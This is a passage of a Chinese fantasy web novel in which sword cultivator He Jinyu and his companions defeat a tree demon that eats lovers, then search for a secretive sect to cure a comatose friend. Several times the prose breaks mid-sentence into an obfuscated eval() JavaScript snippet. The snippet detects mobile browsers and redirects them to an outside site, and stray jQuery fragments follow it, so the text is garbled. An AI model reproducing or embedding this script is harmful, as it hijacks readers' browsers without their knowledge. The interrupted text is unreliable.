走了好一阵,眼前出现了一棵遮天蔽日的大树,树上的枝条状似柳树,自顶上垂落下来,那数以千计的枝条上长了许多猩红色的花朵,花约莫有一个成年人的脑袋大小,形状像是寺庙里的大钟,花蕊传来阵阵恶臭,一股腐烂之气。
祝来月看着面前这棵大树,说道:“这就是失踪事件的罪魁祸首了。”她心中隐隐升起躁动,这棵树里面有一个东西在吸引她靠近。那东西让她很熟悉。
“这是什么树,怎么这么臭?”
“情噬树,以人之情感为引,专吃沉溺情爱之人。吃一个人便会长出一朵花,你瞧这树上少说有百朵,它已经是罪不可恕了。”她面色凝重地替聂棋缘讲解树妖的特性。
聂棋缘还没来得及感慨她博闻多识,树妖忽然发出声响,接着从树冠上跃下一个人,“罪不可恕?我倒要看看你们怎么治我这罪不可恕之妖。”
聂棋缘张大嘴巴,震惊地指着那人:“子夜!果然是你!”
“不错,你们看到的不过是我的化形,我的真身乃是将近三百年修为的树妖。你们之中唯一一个能对付我的贺今羽也不过如此,竟然几杯幻情酒就让他毫无还手之力。”子夜露出轻蔑的表情。
“贺大哥怎么样了?你杀了他?”
“小姑娘,若当时我没听错,你姐姐与他定有婚约,而今与她纠缠不清,昨夜又对我动了情,你何苦这样紧张他的死活?”
聂棋缘绝不相信她这种说辞,反驳道:“不可能!贺大哥怎么可能对你这种伤天害理的妖物动情?把他还回来。”
而一旁的祝来月却十分镇静地说道:“情噬树所产的汁液名为幻情酒,唯有对树妖动情之人才会中招。”
子夜不禁鼓掌,称赞道:“你懂的不少啊。”
然后,她闭起眼睛闻了一下,挂上满足的微笑,接着说道:“身上的味道我也很喜欢,想必比我从前吃的人都要美味。你放心,我不会直接杀你的,今日吃你一只手,明日再吃一条腿。”
“那要看看你有没有这个本事了。”祝来月依旧面不改色,“贺今羽,你还要袖手旁观吗?”
子夜嗤笑,觉得她似乎是疯了,对着死人说话。
可她甚至来不及讽刺祝来月两句,本体却传来一阵剧痛,她回头一看,整棵树被劈出个触目惊心的口子,那伤口上凝结了一层寒冰。
鹤栖剑法二册第四式——天地寒!
伤口处的寒冰有蔓延之势,待她反应过来时,整棵树都被厚厚的冰包围了,只留下那被一剑劈开的口子。
贺今羽背对着树妖,提剑收剑一气呵成。
这片不见天日的茂密森林顿时惊起一片鸦雀,随剑意而来的一阵飓风甚至生生劈倒了周围的许多树,那些树也无一例外地凝成一棵冰塑。
树妖无力再维持人形的化身,归至本体之内,苟延残喘了几句,那语气充满了不可置信:“你……你居然没死?为……为什么?!”
“败者没有提问的权力。”
“里面还有人活着吗?”祝来月问他。
“嗯,基本都被树妖腐蚀了,只有一两个还活着。”
“一两个?”祝来月疑惑他使用不确定的计数表达,直到她和聂棋缘一起进入树妖体内救人时才明白“一两个”的含义——
树妖内部有不少人的尸骨,比外头的味道更加恶臭扑鼻,她们一进来就紧紧捏住鼻子,生怕吸进去半点这种恶臭无比的气味。
它的壁上流淌着一种黏稠的液体,所及之物皆被腐蚀殆尽。
她们在空地上发现两个至今还昏迷不醒的人,一个是前些天调戏过子夜的孙大程,另一个则是聂棋缘救治过的那位昏迷的患者。
患者情况还算良好,只是面色萎黄,身上有些小伤,而孙大程就没这么幸运了。
因为进来的时间已经两日有余,他的两条腿和一条胳膊都已经被树妖腐蚀,断口处血肉模糊,教人不忍直视。
尽管聂棋缘曾经声称这种人死了更好,此刻也不禁别过头去不看他的伤口。
“我们先把他们带出去吧。”祝来月安慰道。她忍下胃里的翻江倒海,和聂棋缘一起将两人带离了树妖内部。
聂棋缘对他们身上的伤口进行了应急处理,避免他们因失血过度导致死亡。
树妖仍不甘心,高声喊道:“他们个个都是负心之人,死不足惜。”但它已经十分虚弱,这样的喊声不仅无法造成半点威慑,还让它听起来有些可悲。
原来祝来月昨日就已经猜出八九分了,只是心中仍有几个疑惑不解,于是和两人一边躲避着镇民的追捕,一边来到几位失踪者的家中。
她所选择的第一家便是住在小镇北边的宋家,也就是贺今羽去过的那户家里只有两位老人的地方。
老人开了门,一见到贺今羽就激动地抓住他的手,“大侠,我儿子找回来了吗?我家玉林找回来了吗?”他们的话里带有哽咽之意,边说边要跪下。
玉林是他们年近四十时才得的唯一的孩子,家中不算富裕,却从未苦过半点孩子。
失踪之后,两位老人不思茶饭,寝难安眠,整整瘦了一大圈。直到贺今羽来的那日,说灵霄宗一定会解决这件事,宋家二老才有了盼头。
贺今羽心生愧疚,不知如何向他们交代,本就不善言辞的他此刻更是几度开口欲说些什么,却又几度合上了嘴。
身为宗门未来的继承人,肩负的责任比眼前两位老人的期盼要多得多,可仅仅是他们,贺今羽就不知如何面对,他愈发动摇了心中不堪一击的自信。
是不是真像祝来月说的那样,他根本不够格做这个少宗主?所以这十九年来,哪怕一句父亲的认可都无法得到?
祝来月看出他的窘迫,轻轻将他拉开,转而去安慰了老人,老人的双眼因为充血而变得赤红,脸颊苍老得像是树皮,发髻都有些凌乱,漏出来好几缕干枯的银发。
老人在她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840339|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和聂棋缘的安慰下逐渐缓和了情绪,不再歇斯底里地哭泣。
祝来月安抚着他们的后背,问道:“老人家,我们今天来是想再了解一些事情,希望你们一定要如实回答,不要错漏一点细节。”
老人极力表示配合,只要这样能让自己的玉林回来,做什么都愿意。
“令郎最近有晚归的现象,你们可知道他去做了什么?身上是否带有酒气?”
他们根据记忆中的情况回答道:“玉林有自己的主张,在外面做了什么事从来不让我们知道的。回来时夜已经很深,身上确实有一股酒气,我们怕他在外边交了狐朋狗友,还骂了他几回,早知道会是今天这样,说什么也不会……”
两人说到后边又开始哽咽起来,捶胸顿足地后悔着当时没有严厉管教他。
祝来月与聂棋缘对视一眼,果然,聂棋缘昨日看的患者不是简单的昏迷,从一开始他就和失踪事件有关。只是他们一开始都没有将昏迷和失踪联系起来,而是当成两件并不相关的事。
“令郎失踪前可有昏迷过几日?”
“并无此迹象。”老人抽抽嗒嗒地回道。
听到这个回答,祝来月沉默了一阵,又问了最后一个问题:
“他可有婚配?”
宋家老妇回道:“有,曾经我有一个友人,她与谷外一个村里的人成了亲,也是老来得女,我们便指腹为婚。只不过她们居于谷外,不常来往,镇内并无多少人知道此事,姑娘何出此言?”
“都有谁知道?”
老妇认真回想之后,一一列举了那些人的名字,其中一个名字引起了三个人的注意。
“子夜。”
时间回到当下,树妖道:“所以你们昨日就已产生怀疑,昨夜一切皆是将计就计?”
“当时我就想起这世上有一种树妖,专吃对其动情之人,所以贺今羽才佯装对你有情,让你把他带回你的藏身之地,为的就是救出其他被你抓起来的人。”
子夜回想起贺今羽那天夜里给她的回答,她只当是这回自己行事太过仓促,不像旁人都是铺垫了几日才下手,所以他的回答才不似旁人那般坚定地选择了自己。
现在想来,是这个小子演技拙劣,处处破绽,她竟然还未曾察觉。
想到此处,她不禁嘲讽似的一笑,“我败了自然认,但他们就不该死吗?”她用满是愤恨的语气说着,若不是她此刻已经变回本体,怕是要落下痛恨的泪水。
她曾经是吃过不少人,她发出迷人的酒香将人引诱进她捕猎的范围以内,像某些花草吃小虫子一样把一个一个人类吞掉。
直到她修成人形,第一次拥有了情感,才发现自己再也不能吃人了。
也是那时候,她遇见了能感受她愧疚之心并且安慰她的谈居林,尽管谈居林什么都不知道,他也从不问子夜的过往。他只是在那里,默默地接受了她的全部。
子夜感受到爱,与他成婚,可她在情感上诚然是个初入门的菜鸟,她不懂人的情感并非一成不变,世上唯一永恒的是人心善变。
好景不长,曾经那个与她谈天说地,要接受她全部、要将自己的一生系在她身上的人渐渐不再热情,直到某天子夜发现谈居林不忠的事实。
树妖再度开始吃人,她在短短半月之内便吃了十多个对她起意的男子。
19. 月下
“你假定了人都是见异思迁的结论,再用妖术将所有原先只是可能之事变为事实,是倒果为因。且不说他们对你动的情有几分是你刻意的结果,那姚家之人,他妻子已经过世了七八年,哪怕对旁人真动了心也无可厚非,怎么便成了你口中该死之人?”
祝来月昨天也同样去了姚家,拜访了失踪者家中的孩子和他亡妻的妹妹——也就是孩子的姨母。
姨母告诉他们,她的姐夫——失踪之人——近些日子和镇上的子夜姑娘走得有些近,她本想着,姐夫这么多年都没能从姐姐过世的事实中走出来,这次若是可以和同样失去爱人的子夜重组家庭,想必姐姐在天之灵也会为他高兴的。
她还说,姐夫对姐姐的痴情,连她这个亲妹妹都有些自愧不如。她也不止一次地劝解过他,斯人已逝,要面朝前方活下去。
自他开始接触子夜之后,她能感觉到他对孩子的关心都比以往要多起来。还以为日子会这样渐渐好起来,结果姐夫却忽然失踪了。孩子已经没有别的亲戚,只能和她一起生活。
“还有宋家之子,他只是有个娃娃亲的未婚妻,常年住在谷外,他都没见过几面,互相都没什么感情,谈何忠贞不渝?”
祝来月显然对树妖的理论很不认同。
又或许是他们期待着亲人归来时充满悲伤和希冀的眼神感染了她,让她仿佛成了当事之人一般,与他们同频共振。
不止是姚家和宋家,所有被树妖吃掉的人都有家人,他们中有的错了有的没错,可不管怎样,他们的亲人都等不到他们回来的那日了。
贺今羽愈发自责,若是他再早些明白,早点来到这里,也许就少一个人死去,也许能挽救一个家庭。
子夜仍然执迷不悟,撑着自己的信念,大方说道:“要杀就杀,何必多言?”
“你杀害了起码百人,原是死不足惜,可我给你一个改过的机会,只看你要不要活了。”
祝来月拿出木雕残片,突然,树妖内部对她引起的躁动更甚。
她露出一副“果然如此”的表情,道:“草木要修成妖比兽类和禽类要难得多,而你不足三百年的修为却有人形。你可见过此物?”
子夜根本不在乎生死,仍然保持无惧的干脆,但对她拿出的那块木片却直言道:
“是,我见过一片和你这块很像的残片,应当是来自同一棵树上的。但得益的草木并非只有我一棵,整个流织谷的草木都比别地茂盛,尤其是最近七百年,可不只因为这里灵气和水源都丰富。我只不过正巧长在这块残片之上罢了。”
原来这里真的有木雕的残片之一,不过不是在情噬树内部,而是在它底下。
说来也奇怪,当初从罗平鸟那里取得第二块残片时,她能准确感受到在绮罗身上那块残片的方位,而在那之后却难以感受到其他残片的位置和存在了。
贺今羽斩断了情噬树那些渗入地表的粗壮树根,然后对着地面一刺,霎时间尘土飞扬,灰尘散尽之后,情噬树生长的地方出现了一个大坑,从里面飞出来一块残片,直接飞向了祝来月。
贺今羽最终还是没有直接杀死树妖,而是决定把它带回宗门,关进宗门为恶妖准备的囚牢——风摇尽之中。
因为携带麻烦,祝来月教了他一种方法能将情噬树变得如同手掌大小,这样就能随身带着了。贺今羽将缩小后的情噬树装进包袱中。
在回镇子的路上,贺今羽一直在做心理斗争,他不知道该怎样回馈那些人对他的期待,因为他让他们失望了。
姚家的情况还好,姨母决定之后再慢慢对孩子说出真相,尽管悲痛,日子总还要过下去,孩子还有几十年的未来。
可那两位老人就不一样了,他们已经年近花甲,往多了还有二十年,往少了说可能活不了十年了。
中年得子,如今白发人送黑发人,得知真相时悲痛欲绝,几乎直接晕厥过去,贺今羽从前最讨厌旁人哭泣,此时却没有半点不耐烦,他什么都说不出来。
那些好听的承诺和安慰,和一条生命相比,轻飘飘的,什么也不是。
没有任何话语能让两位老人好受一些,他必须承受他们每一分的责怪。
后来贺今羽回宗之后和景怀卿说起此事,对方提出,世上没有后悔药,已经发生的事不能再改变,但可以尽力去弥补,灵霄宗会全力负责所有受害者家里的一些赡养老人和养育孩子的义务,尽己之能让那些人起码能生活得更好一些。
此乃后话。
祝来月至今一共获得了四块残片,不知道接下来还有几块。但观现下拼凑的模样,已经大致能看出原先是何物了,正说明目前起码已是收集了一大半了。
她还没有融合第四块木片,而是坐在月下,望着鲜有星星的天空出神。
直到贺今羽坐到她身旁的石椅上,打断了她万千的思绪,她回头,对他说道:“我以为你现在会在练剑。”
他点点头,嗯了一声,“刚练完。”
他不知道该和她聊些什么,两人好像没有什么共同话题,他只痴迷于剑道,而她除了修为较弱,样样都比他更厉害。
而今夜月明星稀,天气像是极好,即使是深夜,不借着灯火也可以看清对方的表情。两个人各怀心事,沉默了良久。
还是祝来月打破了这样寂静的沉默,她依旧望着天,并不看向他,却对他说道:
“你瞧这天空,我们永远无法得知它的尽头在何处。我总是想要知道更多,但……”她张了张嘴,几乎是人生中第一次哑口无言。
“你知道很多。”贺今羽感觉得出来,今夜她的眼中没有初见时那种张扬的自信,取代的是无尽的惆怅。他极其不擅长安慰人,只能干巴巴地说几个字,聊胜于无。
她很快地、几乎是立刻就回答道:“不够多,我甚至不了解自己的出处。”
很荒谬吧?她一直充当一个智囊般的存在,从前为妹妹答疑解惑,现在也常常能够帮到像贺今羽这样厉害的人。
可她甚至不知道自己来自哪里,父母是什么样的人,残片和她之间究竟存在什么样的联系?
小的时候,她无意间听到过养父母的谈话,得知自己和他们没有血缘关系,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840340|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是真真切切难过了几天的。
当然后来也都想通了,即使流了不一样的血液,她和家人之间的亲情永远不会变,她依旧可以做他们怜爱的女儿,依旧可以是璃儿的姐姐。
这段时间以来,无论是残片融合带给她的影响,还是那些妖说的摸不着头脑的话,都加深了她对自己的怀疑。
她甚至疑心自己究竟只是人又或者是别的什么。
贺今羽不再看着她黯淡的眼神,和她一起望向那片漆黑中透着一点深蓝的天空,“你一定会找到的。”
尽管言语单薄,祝来月却已经习惯了他惜字如金的表达,还感到有些安慰。算起来,从认识的那天夜里起,他总是无条件地信任她,她此刻忽然很想问问这信任的来由。
当然,她也确实问了:“你为什么总这么相信我?”
她的心情明显好转了,脸上又浮现那惯有的笑容,类似春天。再没有比她更贴合春天的模样了。
“因为你很信任自己,所以别人才很容易相信你。”他说出了心里话,还有一句藏在心里,怎么也说不出口:
而连我都无法信任自己,所以才一直不能让父亲认可吧。
神奇的是,祝来月竟能看出他最深刻的本质。在旁人眼中,他冷漠高傲,实际他比很多人都要自卑得多。
所以她立即回应了他的消沉,“我也很信任你。这一路走来,若是没有你,单凭自己恐怕一块残片都找不回来。”
和他的相遇一半是命运使然,一半是因为未璃爱管闲事。
她想要找到身世的真相,但是修为浅薄得难以在江湖中行走,所以上天就送了一个打手到她身边。这个打手好巧不巧还是放眼整个江湖都找不出第二个的天纵奇才贺今羽。
这世上哪有比这更好的巧合?
之后,祝来月和他回了房,她准备融合刚得到的第四块残片,贺今羽依旧在一旁为她护法。
参考前两次的经验,这次定会比从前的痛楚更甚,可她每次融合都能记起一些模糊的片段。她不可能放弃。
面前的木片有着它独特的纹路,若是拼接起来,似乎能在上面看到一棵残缺的巨树,底下有一条宽广的大江。
不知为何,这幅景象给她生生不息之感,而给贺今羽和聂棋缘看时,他们都没有她这种感受。
她屏息凝神,这次吸取经验,改为在榻上打坐。而后,祝来月将面前分裂的残片合到一起,只那一个瞬间,钻心的疼痛便直冲而来。
她感到有很强大的力量在钻入她的大脑和五脏六腑,连接它们的经脉都被这股力量挤满了。
她闭上眼睛,眼前却不是一片黑暗,而是各种各样既熟悉又陌生的画面,那画面太过真实,她分明没有这些记忆,又好像是亲身体验。
恍惚之间,她感到自己的生命像那棵大树、像那条大江一样无限,生生不息。眼前反复出现了几个她从未见过的身影,他们看起来甚至不像是人类,尤其是其中一个头发如同火焰般燃烧着的人。
即使贺今羽尽全力去为她抵抗力量的侵入,她还是晕了过去。
20. 反抗
贺今羽一直往她身体里灌输着灵力,直到约莫一两个时辰后,他力竭,也不见她有任何转醒的迹象。
毕竟男女有别,这样待在她的房内似乎不太好,他替她盖了被褥,就回到了自己的房间。
他们依旧住在那家客栈里。
客栈掌柜是个好说话的人,即使之前因为他们的行为间接地打扰了客栈的生意,但说明情况并致歉后,掌柜还是欢迎他们再住进来。
贺今羽本以为等到晨时,祝来月自然会醒来,可敲了一阵门,也不见她应声。
“祝姐姐怎么了?”路过的聂棋缘心生疑惑,也敲了敲门,还是无人开门,她就直接打开了她的房门。
贺今羽跟着进去,发现她还是作为他离开时的姿势躺在床上,一动不动,三步并作两步走到榻边,伸手去探她的脉搏,探完才发现,他根本不懂医术。
于是聂棋缘替她诊脉,顿时脸色大变,直直地盯着昏迷不醒的祝来月,又上前翻翻她的眼皮,似是不相信般再次探她的脉搏,最终下了判断:“祝姐姐的脉搏极其紊乱,有走火入魔之象,但又和走火入魔不同,我从未见过这样的脉搏。”
“走火入魔?”贺今羽重复了一遍她的诊断,显然也不相信。
因为走火入魔是修为较为高深之人在修炼的过程中心志不坚才会出现的现象,且不说祝来月那微弱的修为根本不足以入魔,她当初根本不被狐妖的幻术所迷惑便可以看出祝来月心志坚定不移,绝非常人可以比拟。
这样的人又怎么可能会走火入魔?
聂棋缘否认道:“不是走火入魔,只是很像。哎呀,都怪我没认真学医,若是姐姐在就好了。”她有点着急,也是因为她在私塾里总不认真,才被娘亲罚着出来四处游历增长见识。
不像姐姐,从小品学兼优,会的东西已经远远超出她这种普通人的范畴了,姐姐的灵力便可以救治无数种病症。其实聂家不少人都会这个,唯独聂棋缘倒是在拳脚功夫上较为突出。
他们原本准备今天就各自上路,眼下也不行了。
聂棋缘想不出来有什么方法能解决祝来月昏迷的现象,她甚至不知道她的昏迷因何而起。
突然,她想到一个人或许有办法,她兴奋地跳起来说道:“有了!琼心门,琼心门之人专门研究香术和心力,传闻琼心门这一代的圣女是个心力上的天才,祝姐姐昏迷与心力脱不了干系,她一定有办法。”
心力,乃是修炼之人的精神力量,心力强大之人不仅完全避免走火入魔的风险,还能控制他人的精神世界。
但贺今羽一句话就让她颓废下来:“琼心门隐秘至极,找到她们很难。”
聂棋缘趴在桌子上,没了精神,长叹一声。
琼心门是江湖中最神秘的门派,门中只有女子。除了在江湖中售卖她们制作的功能性的香料以外,几乎从不露面。
哪怕是定期的交易,也是同常合作的商行进行,见过她们的人堪称凤毛麟角。
她们即使在江湖中行走,亦是极为低调,从不透露自己的身份。
但琼心门位列三大宗门之一,也绝离不开她们恐怖的实力。
江湖中有十年一度的争鸣大会,是唯有三十岁以下的年轻俊杰才可以参与比拼,是自古有之的传统,以此在争鸣榜上排名次。
琼心门虽避世不出,却次次大会都不曾缺席,并且每次都以惊人的实力跻身前十。
她们的手段也令人胆寒,与之对阵之人,只要心力略弱一些,下场都是非疯即傻。
琼心门是毋庸置疑的三大宗门之一。
可是要到哪里去找她们呢?
这事儿原本与聂棋缘没什么关系,贺今羽也提出让她回聂家去,但聂棋缘怎么可能抛下一个病人?!虽然医术不够高超,但身为医者,更身为聂家之人,聂家的家风不能丢!
她说什么也不肯回去,一定要和贺今羽一起找琼心门。
他们出了山谷之后,就近雇了一辆最大的马车,足够几人在内休养。
期间,贺今羽和她各自修书回家过。贺今羽向宗主如实禀告了此次任务的结果,并且询问了关于琼心门的下落。被宗主批了一顿之后,给了他一些为数不多的线索。
聂棋缘则是详细描述了祝来月的脉象和一系列症状,问了聂琴机对此症可有解法,却得到了遗憾的结果——连她也没见过这种症状。
这下真是只有找到琼心门才可能会有希望了。
根据宗主给出的线索,可以得知琼心门大约也是在一个山谷内,方向若是没猜错,便是在东南方。
东南方向的山脉奇多,山谷亦是数不胜数,但好歹有了个范围。贺今羽立刻动身往东南方向前进。
江湖之外的百姓基本对他们这些门派势力毫无了解,他在路途中向那些百姓打听琼心门的事时,许多人都是一问三不知。
东行了一段时日后,在一座深山里,有一处山涧,他们将马车停在山涧附近,取用水源。
聂棋缘说要去摘些果子吃,便走开了。
贺今羽取完水后回到了马车内,拉起来马车的帘子,让阳光透进来些,能照在祝来月的身上。
自从昏迷之后,她的脸色越来越苍白,只有在阳光底下才能恢复一些血色。
他再不懂医术,也能看出来她的生命体征越来越微弱了,像暴风雨中飘摇的小树,有可能下一秒就会被风吹断那脆弱的树身。
山涧处有一帘瀑布倾泻下来,他听着那些滔滔不绝的水声,看着闭着眼睛、毫无反应的祝来月,再次涌起了自责的情绪。
若是她醒着,也许知道要怎么解决这件事。
他意识到自己真的除了修炼以外什么都不会。
没多久,聂棋缘就摘了果子回来了,她分了一半的果子给贺今羽,被他拒绝了。
她再次塞给他,说道:“贺大哥,你最近越来越不爱说话了,就像江湖中别人说的那样。”
聂棋缘见他仍有拒绝之意,又说道:“吃点吧,虽然你们灵霄宗有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840341|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辟谷的传统,但修成仙体前也不能绝食啊。”
贺今羽只能收下那些果子。
聂棋缘默默坐在一旁啃着鲜红的果子,果子鲜嫩多汁,味道甜美,但两个人都没什么心情品鉴。
聂棋缘倒不至于是因为祝来月心事重重,而是想到了贺今羽和自己姐姐的那纸婚约。
这短短数日内和祝来月的相处,让她不得不承认祝来月的外在魅力竟然是她本人魅力中最小的一部分,即使贺今羽真是喜欢她,聂棋缘也会认为情有可原。
但她又很矛盾地反复思考他和姐姐之间的关系,她总是会想起祝来月当时对树妖说的几句话。
婚约是否真的如她所说算不得什么?
她在思考这个问题的时候,发觉自己竟然从未问过姐姐是不是想要和一个没见过几面的男子成亲,她又是否对婚约中的男子拥有真情实意?
这些她全然不知。
她一向胆子很大,这回却不敢直接去问贺今羽是不是真心很喜欢祝来月,也不敢戳破这层窗户纸。
这时,贺今羽又收到了父亲的传信,召他即刻返回宗门,有要事须得是他处理。
聂棋缘在一旁看到之后,问道:“贺大哥,你要是回去了,祝姐姐她怎么办?”
贺今羽挥手拂去那些漂浮在空中的白字——父亲的传信——面色凝重,显然很难作出抉择。
他这一生从未违抗过父亲的命令。
祝来月帮过他很多,也是绝不能失去的好友。
“继续向东南前行。”
他作出了人生中第一个反抗的决定。他想尽快找到琼心门,解决祝来月的问题之后再回去向父亲请罪。
他传信给景怀卿,简单说明了目前的情况,并且托他劝父亲不要太愤怒,避免宗主一怒之下派弟子们来把他抓回去。
虽然对付他们不算难事,贺今羽也不会束手就擒,但总归少些麻烦。
突然,贺今羽随身携带的包裹中传出声响:“你们还真执着,对一个来历不明的女子如此上心。我不妨告诉你吧,我在她身上感受到了同类的气息。”
那是树妖在说话。
聂棋缘立马把情噬树从包裹中取了出来,指着它说道:“你什么意思?少挑拨离间了。”
情噬树又恢复一动不动的模样,选择了沉默,而那沉默中满是讽意。
仿佛在告诉她:我有什么必要挑拨离间?
聂棋缘见她装死,只能把它又放回包裹里,对贺今羽说道:“这妖怪说话真是不讲道理,祝姐姐身上哪有妖气?分明是人。”
后者却陷入了沉思,一时之间竟没有回答她。
她慌了神:“怎么了?你不会也觉得她是妖吧?”
贺今羽摇摇头,说:“走吧。”
两人一路寻找琼心门的下落,直到一周后才在一个小村庄听说了一些线索。
那人是名马夫,在他们提起琼心门时,转转眼珠子,对他们说道:“琼心门?好像在哪听说过。”
21. 疯道
在聂棋缘的催促下,马夫总算想了起来:“对对对,我想起来了,隔壁村有个疯道士,他嘴里老念叨什么琼心门,你们不会也是疯子吧?”
马夫看着眼前穿着人模人样的人,全然不像隔壁村那个疯道士,整日穿着破破烂烂的衣服。
但是他还是心生惧怕,决定离这些“疯子”远一些。
他们并没有在意马夫的态度,毕竟找了这段时间总算有人听说过一些线索,他们已经是惊喜了。
事不宜迟,他们立即动身前往邻村寻找疯道士。
那是个很普通的小山村,聂棋缘去包子铺买了几个包子,一面又向掌柜打听疯道士的事。
谁知掌柜一听疯道士三个字,吓得将准备递给她的包子又掉回了笼屉中,连连摆手道:“这包子我不卖你们了。”他理好那些包子,嘴里嘟囔了一句:“大清早的真晦气。”
聂棋缘听见了这句抱怨,立马来了火气,一撸袖子,直指着掌柜:“你什么意思!爱卖不卖,姑奶奶还不买了呢!”
话毕,她仍不准备放过包子铺老板,招呼人过来:“乡亲们都来看看啊,黑心掌柜!态度极其恶劣,竟然当街辱骂食客,这种人还能做生意?”
顿时,包子铺就被看戏的村民围了个水泄不通。
而那掌柜一副毫不怕事的模样,气势上绝对不输给聂棋缘:“我说不卖就不卖!”
接着,他又对着围起来的村民们说道:“乡亲们,你们都评评理,是他们一大早就在我这小店提疯道士,你就说这十里八乡的哪个做生意的不忌讳这个?你们还上赶着要找他,我看你们和那疯道士就是一伙人,也是两个疯子!”
村民们一听这话,立刻倒戈了阵营,对着聂棋缘和贺今羽指指点点,说的话简直要多难听有多难听。
不管是聂棋缘还是贺今羽,从小到大岂受过这般折辱?尤其是聂棋缘,她就差没冲上去和那些人打一架了。
还是贺今羽拦着她,警醒她修炼之人不可与没有灵根的百姓交手,她才克制住自己打人的冲动。
“难道我们就这样让他们说我们?”聂棋缘极不服气,又指着那些村民说道:“我们不过是提了一句疯道士,他到底是何人,你们这么忌讳?”
其中有一个明事理的站出来劝了几句村民们:“看他们的装束定是外乡人,不知道这儿的习俗也正常。”
众人点头称是,正想着散开时,一个身穿破衫、脚踩烂履的疯癫老头挤进人群,身上还有股说不上来是什么的气味。众人一见到他,连忙让开一条路,简直像看到来自冥界的恶鬼似的,生怕被他沾上一点晦气。
无论是聂棋缘还是贺今羽都没有见过他,可他们此刻几乎是异口同声地说道:“疯道士。”
是了,再没有人比他更接近他们传闻的那个疯道士的形象。
疯道士走到人群中央,毫无自己被排挤的自觉,又或者早已经习惯了这种现象,他神神叨叨地说着:“你们知道他们是谁吗?也不怕吓死你们这群鼠目寸光的,这位——”
他走到贺今羽身边,绕着他走了一圈,才把话说完:“这位可是修仙门派中最厉害的灵霄宗的少主,更是全天下最有望修仙得道的剑侠贺今羽!”
两人见他直接说出了贺今羽的信息,不禁侧目。仅仅一眼就认出了贺今羽的身份,说明他和眼前这些平民百姓不同,也是个江湖之人。
“什么修仙、修炼的,不知所云,真是疯道士!”村民中不少人都开始嘲笑这个胡乱言语的疯癫老道。
聂棋缘不再和村民们计较,诚然,这世上除了江湖之人,平民百姓中鲜有知道修仙一事的。
她转向疯道士,得意地笑道:“贺大哥闻名天下,你认得他不是什么本事,你若说得出来我的身份,才算你厉害。”
疯道士捋捋那长时间不经打理的乱糟糟的胡子,装模作样地掐指算了起来,忽然一副恍然大悟的神情:“传闻贺少宗主独来独往,能在他身边行走的不是灵霄宗的弟子便是聂家之人,而你身上没有灵霄宗的令牌——”
他又凑到聂棋缘身旁闻了闻:“也没有灵霄宗那股子自视清高的味道,倒是一身草药香,定是医药世家聂家之女无疑了!”
“算你有些本事。可我聂家拢共四个女儿,你这说得不清不楚的,还是没说出我的身份。”
疯道士接道:“聂家四女,以琴棋书画命名,长女琴机性格温婉,似乎不符,幺女画合年岁又不符。唯有双生的次女三女倒是有些像姑娘你。”
“你知道得还真不少。”聂棋缘不再故弄玄虚,“书巧是我的孪生妹妹,我姓聂名棋缘。”
这时,围观的村民们已经散得差不多了。
贺今羽问道:“你知道琼心门?”
“原来两位找老道是为了琼心门?”疯道士恍然大悟,“你们想知道琼心门的下落容易,这天下除了琼心门之人,只有老道我最了解琼心门的位置。”
他见这疯道士大言不惭,总觉得疑点重重。
“要什么条件?”
“老道什么也不要,只求两位平安归来即可。琼心门门徒心肠歹毒,你们怕是有去无回啊。”
“老道士,这就不劳你费心,我们有胆子去,自然有的是法子回。”
听完聂棋缘这番话,老道士神神秘秘地一笑,并不多言。
他替二人指了路,原来这琼心门不在别处,正在这村子附近的朝阳谷内。
朝阳谷被几座险峻的大山包围,山并不算极高,但却十分陡峭,难以行走,马车是绝对上不去的。
而祝来月如今昏迷不醒,自然也不可能带着她御剑飞上去。想来想去,只有一个办法:背着她徒步爬上去。
聂棋缘一边爬,一边问背着个人还爬得飞快的贺今羽:“贺大哥,我们就这么信了那个疯疯癫癫的老道士?我总觉得他心怀鬼胎。”
连她都无法信任这个莫名其妙、神秘兮兮的人,何况是警惕无比的贺今羽呢?
“总要试试。”
贺今羽认为比起怀疑,抓住一切机会才是眼下最重要的。哪怕只有一万分之一的可能性,他也要去尝试。
“可是……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 